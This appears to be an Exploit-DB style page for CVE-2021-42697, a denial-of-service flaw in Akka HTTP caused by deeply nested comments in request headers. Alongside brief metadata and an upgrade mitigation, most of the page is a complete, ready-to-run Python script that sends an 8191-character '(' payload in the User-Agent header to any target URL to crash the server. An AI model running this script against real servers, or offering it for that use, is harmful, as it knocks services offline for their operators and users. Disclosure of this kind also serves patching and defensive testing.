Akka HTTP Denial of Service via Nested Header Comments

vendor:

Akka HTTP

by:

cxosmo

7.5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: Akka HTTP

Affected Version From: Akka HTTP 10.1.x < 10.1.15 & 10.2.x < 10.2.7

Affected Version To: Akka HTTP 10.2.4

Patch Exists: YES

Related CWE: CVE-2021-42697

CPE: a:akka:akka_http

Metasploit:

Other Scripts:

Platforms Tested: Ubuntu

2022

Akka HTTP Denial of Service via Nested Header Comments

This exploit is related to CVE-2021-42697, which is a denial of service vulnerability in Akka HTTP 10.1.x < 10.1.15 & 10.2.x < 10.2.7. The exploit is achieved by sending a malicious request with a nested comment payload in the User-Agent header. The payload is 8191 characters long, which is sufficient to trigger a stack overflow. If the server is successfully DoSed, an exception will be returned.

Mitigation:

Upgrade to Akka HTTP 10.1.15 or 10.2.7 or later.

Source

Exploit-DB raw data:

# Exploit Title: Akka HTTP Denial of Service via Nested Header Comments
# Date: 18/4/2022
# Exploit Author: cxosmo
# Vendor Homepage: https://akka.io
# Software Link: https://github.com/akka/akka-http
# Version: Akka HTTP 10.1.x < 10.1.15 & 10.2.x < 10.2.7
# Tested on: Akka HTTP 10.2.4, Ubuntu
# CVE : CVE-2021-42697

import argparse
import logging
import requests

# Logging config
logging.basicConfig(level=logging.INFO, format="")
log = logging.getLogger()

def send_benign_request(url, verify=True):
    log.info(f"Sending benign request to {url} for checking reachability...")
    try:
        r = requests.get(url)
        log.info(f"Benign request returned following status code: {r.status_code}")
        return True
    except Exception as e:
        log.info(f"The following exception was encountered: {e}")
        return False

def send_malicious_request(url, verify=True):
    log.info(f"Sending malicious request to {url}")
    # Akka has default HTTP header limit of 8192; 8191 sufficient to trigger stack overflow per 10.2.4 testing
    nested_comment_payload = "("*8191
    headers = {'User-Agent': nested_comment_payload}
    try:
        r = requests.get(url, headers=headers)
        log.info(f"Request returned following status code: {r.status_code}")
    # Expected exception to be returned if server is DoSed successfully
    except requests.exceptions.RequestException as e:
        if "Remote end closed connection without response" in str(e):
            log.info(f"The server is unresponsive per {e}: DoS likely successful")
    except Exception as e:
        log.info(f"The following exception was encountered: {e}")

if __name__ == "__main__":
    # Parse command line
    parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)
    required_arguments = parser.add_argument_group('required arguments')
    required_arguments.add_argument("-t", "--target",
                        help="Target URL for vulnerable Akka server (e.g. https://localhost)",
                        required="True", action="store")
    parser.add_argument("-k", "--insecure",
                        help="Disable verification of SSL/TLS certificate",
                        action="store_false", default=True)
    args = parser.parse_args()

    # Send requests: first is connectivity check, second is DoS attempt
    if send_benign_request(args.target, args.insecure):
        send_malicious_request(args.target, args.insecure)